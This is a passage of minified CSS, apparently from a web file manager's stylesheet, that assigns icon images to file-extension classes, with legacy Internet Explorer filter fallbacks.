\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-txt,.x-textile,.x-oexe,.x-inc,.x-csv,.x-log,.x-asc,.x-tsv,.x-lnk,.x-url,.x-webloc,.x-meta,.x-localized,.x-xib,.x-xsd,.x-storyboard,.x-plist,.x-csproj,.x-pch,.x-pbxproj,.x-local,.x-xcscheme,.x-manifest,.x-vbproj,.x-strings,.x-jshintrc,.x-sublime-project,.x-readme,.x-changes,.x-changelog,.x-version,.x-license,.x-changelog,.x-abap,.x-abc,.x-as,.x-asp,.x-aspx,.x-ada,.x-adb,.x-htaccess,.x-htgroups,.x-htgroups,.x-htpasswd,.x-asciidoc,.x-adoc,.x-asm,.x-a,.x-ahk,.x-bat,.x-cmd,.x-cpp,.x-c,.x-cc,.x-cxx,.x-h,.x-hh,.x-hpp,.x-ino,.x-c9search_results,.x-cirru,.x-cr,.x-clj,.x-cljs,.x-cbl,.x-cob,.x-coffee,.x-cf,.x-cson,.x-cakefile,.x-cfm,.x-cs,.x-css,.x-curly,.x-d,.x-di,.x-dart,.x-diff,.x-patch,.x-dockerfile,.x-dot,.x-dummy,.x-dummy,.x-e,.x-ge,.x-ejs,.x-ex,.x-exs,.x-elm,.x-erl,.x-hrl,.x-frt,.x-fs,.x-ldr,.x-ftl,.x-gcode,.x-feature,.x-.gitignore,.x-glsl,.x-frag,.x-vert,.x-gbs,.x-go,.x-groovy,.x-haml,.x-hbs,.x-handlebars,.x-tpl,.x-mustache,.x-hs,.x-hx,.x-html,.x-hta,.x-htm,.x-xhtml,.x-eex,.x-html.eex,.x-erb,.x-rhtml,.x-html.erb,.x-ini,.x-inf,.x-conf,.x-cfg,.x-prefs,.x-io,.x-jack,.x-jade,.x-java,.x-ji,.x-jl,.x-jq,.x-js,.x-jsm,.x-json,.x-jsp,.x-jsx,.x-latex,.x-ltx,.x-bib,.x-lean,.x-hlean,.x-less,.x-liquid,.x-lisp,.x-ls,.x-logic,.x-lql,.x-lsl,.x-lua,.x-lp,.x-lucene,.x-Makefile,.x-makemakefile,.x-gnumakefile,.x-makefile,.x-ocamlmakefile,.x-make,.x-md,.x-markdown,.x-mask,.x-matlab,.x-mz,.x-mel,.x-mc,.x-mush,.x-mysql,.x-nix,.x-nsi,.x-nsh,.x-m,.x-mm,.x-ml,.x-mli,.x-pas,.x-p,.x-pl,.x-pm,.x-pgsql,.x-php,.x-phtml,.x-shtml,.x-php3,.x-php4,.x-php5,.x-phps,.x-phpt,.x-aw,.x-ctp,.x-module,.x-ps1,.x-praat,.x-praatscript,.x-psc,.x-proc,.x-plg,.x-prolog,.x-properties,.x-proto,.x-py,.x-r,.x-cshtml,.x-rd,.x-rhtml,.x-rst,.x-rb,.x-ru,.x-gemspec,.x-rake,.x-guardfile,.x-rakefile,.x-gemfile,.x-rs,.x-sass,.x-scad,.x-scala,.x-scm,.x-sm,.x-rkt,.x-oak,.x-scheme,.x-scss,.x-sh,.x-bash,.x-bashrc,.x-sjs,.x-smarty,.x-tpl,.x-snippets,.x-soy,.x-space,.x-sql,.x-sqlserver,.x-styl,.x-stylus,.x-svg,.x-swift,.x-tcl,.x-tex,.x-toml,.x-twig,.x-swig,.x-ts,.x-typescript,.x-str,.x-vala,.x-vbs,.x-vb,.x-vm,.x-v,.x-vh,.x-sv,.x-svh,.x-vhd,.x-vhdl,.x-wlk,.x-wpgm,.x-wtest,.x-xml,.x-rdf,.x-rss,.x-wsdl,.x-xslt,.x-atom,.x-mathml,.x-mml,.x-xul,.x-xbl,.x-xaml,.x-xq,.x-yaml,.x-yml,.x-cer,.x-reg,.x-config,.x-srt,.x-ass,.x-lrc{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-pl,.x-pm,.x-cgi,.x-as,.x-asm,.x-clj,.x-cbl,.x-cfm,.x-d,.x-diff,.x-dot,.x-ejs,.x-erl,.x-ftl,.x-go,.x-hs,.x-vbs,.x-haml,.x-erb,.x-jade,.x-json,.x-jq,.x-jsx,.x-ji,.x-tex,.x-lisp,.x-ls,.x-lsl,.x-lua,.x-lp,.x-matlab,.x-mel,.x-r,.x-yaml,.x-yml{background-image:url("../../../images/file_icon/icon_file/code.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');}.x-bin,.x-hex,.x-zip,.x-pdf,.x-swf,.x-gzip,.x-rar,.x-arj,.x-tar,.x-gz,.x-cab,.x-tbz,.x-tbz2,.x-lzh,.x-uue,.x-bz2,.x-ace,.x-exe,.x-so,.x-dll,.x-chm,.x-rtf,.x-odp,.x-odt,.x-pages,.x-class,.x-psd,.x-ttf,.x-fla,.x-dmg,.x-dat,.x-ipa,.x-lib,.x-a,.x-apk,.x-so,.x-o{background-image:url("../../../images/file_icon/icon_file/bin.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');}.x-music,.x-mp3,.x-wma,.x-mp2,.x-mid,.x-aac,.x-ogg,.x-oga,.x-webma,.x-wav,.x-m4a,.x-m3u,.x-m4a,.x-midi,.x-mid,.x-flac,.x-alac,.x-ape,.x-ac3{background-image:url("../../../images/file_icon/icon_file/music.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');}.x-html,.x-htm,.x-url,.x-tpl,.x-lnk,.x-haml,.x-shtml,.x-webloc,.x-hta,.x-xhtml{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-css,.x-less,.x-sass{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-js,.x-coffee,.x-jsx{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-xml,.x-config,.x-manifest,.x-xaml,.x-csproj,.x-vbproj{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-cs,.x-asp,.x-aspx{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-java,.x-jsp{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-mm,.x-cc,.x-cxx,.x-cpp,.x-c,.x-m,.x-nc{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-h,.x-hpp,.x-hh,.x-pch{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-png,.x-jpg,.x-jpeg,.x-bmp,.x-gif,.x-picture,.x-ico,.x-svg,.x-cur,.x-webp,.x-tif,.x-tiff{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-make,.x-Makefile,.x-makefile,.x-GNUmakefile,.x-OCamlMakefile,.x-makemakefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-iso,.x-vcd{background-image:url("../../../images/file_icon/icon_file/iso.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');}.x-pkg,.x-package,.x-framework{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-7z,.x-apk,.x-ace,.x-arj,.x-bza,.x-cab,.x-cxr,.x-dgc,.x-gca,.x-gz,.x-gza,.x-iso,.x-jar,.x-lzh,.x-rar,.x-rk,.x-tar,.x-tbz,.x-tgz,.x-tlz,.x-txz,.x-yz1,.x-zip{background-image:url("../../../images/file_icon/icon_file/zip_all.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip_all.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip_all.png?ver=3.30',sizingMethod='scale');}.x-exe,.x-bin,.x-class,.x-a,.x-so{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-ttf,.x-otf,.x-eot,.x-woff,.x-tiff,.x-ttc{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-bat,.x-cmd,.x-sh,.x-bash,.x-bashrc{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-ini,.x-inf,.x-conf,.x-meta,.x-gitignore,.x-plist,.x-htaccess,.x-localized,.x-xcscheme,.x-storyboard,.x-xib,.x-strings,.x-pbxproj{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-md,.x-markdown{background-image:url("../../../images/file_icon/icon_file/md.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-accdb{background-image:url("../../../images/file_icon/icon_file/accdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');}.x-7z{background-image:url("../../../images/file_icon/icon_file/7z.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/7z.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/7z.png?ver=3.30',sizingMethod='scale');}.x-ai{background-image:url("../../../images/file_icon/icon_file/ai.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');}.x-air{background-image:url("../../../images/file_icon/icon_file/air.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');}.x-arj{background-image:url("../../../images/file_icon/icon_file/arj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');}.x-apk{background-image:url("../../../images/file_icon/icon_file/apk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');}.x-as{background-image:url("../../../images/file_icon/icon_file/as.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');}.x-ascx{background-image:url("../../../images/file_icon/icon_file/ascx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');}.x-ashx{background-image:url("../../../images/file_icon/icon_file/ashx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');}.x-asmx{background-image:url("../../../images/file_icon/icon_file/asmx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');}.x-aspx{background-image:url("../../../images/file_icon/icon_file/aspx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');}.x-bz2{background-image:url("../../../images/file_icon/icon_file/bz2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');}.x-cdr{background-image:url("../../../images/file_icon/icon_file/cdr.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');}.x-cer{background-image:url("../../../images/file_icon/icon_file/cer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');}.x-chm{background-image:url("../../../images/file_icon/icon_file/chm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');}.x-cmd{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-c{background-image:url("../../../images/file_icon/icon_file/c.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');}.x-cpp{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-cs{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-cshtml{background-image:url("../../../images/file_icon/icon_file/cshtml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');}.x-csproj{background-image:url("../../../images/file_icon/icon_file/csproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');}.x-css{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-csv{background-image:url("../../../images/file_icon/icon_file/csv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');}.x-djvu{background-image:url("../../../images/file_icon/icon_file/djvu.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/djvu.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/djvu.png?ver=3.30',sizingMethod='scale');}.x-dll{background-image:url("../../../images/file_icon/icon_file/dll.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');}.x-dng{background-image:url("../../../images/file_icon/icon_file/dng.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dng.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dng.png?ver=3.30',sizingMethod='scale');}.x-dmg,.x-img{background-image:url("../../../images/file_icon/icon_file/dmg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');}.x-doc,.x-wps{background-image:url("../../../images/file_icon/icon_file/doc.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');}.x-docm{background-image:url("../../../images/file_icon/icon_file/docm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');}.x-docx{background-image:url("../../../images/file_icon/icon_file/docx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');}.x-dot{background-image:url("../../../images/file_icon/icon_file/dot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');}.x-dotm{background-image:url("../../../images/file_icon/icon_file/dotm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');}.x-dotx{background-image:url("../../../images/file_icon/icon_file/dotx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');}.x-dtd{background-image:url("../../../images/file_icon/icon_file/dtd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');}.x-eps{background-image:url("../../../images/file_icon/icon_file/eps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');}.x-epub{background-image:url("../../../images/file_icon/icon_file/epub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');}.x-exe{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-f{background-image:url("../../../images/file_icon/icon_file/f.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-fla{background-image:url("../../../images/file_icon/icon_file/fla.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');}.x-font{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-gif{background-image:url("../../../images/file_icon/icon_file/gif.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');}.x-gz{background-image:url("../../../images/file_icon/icon_file/gz.png");background-image:none 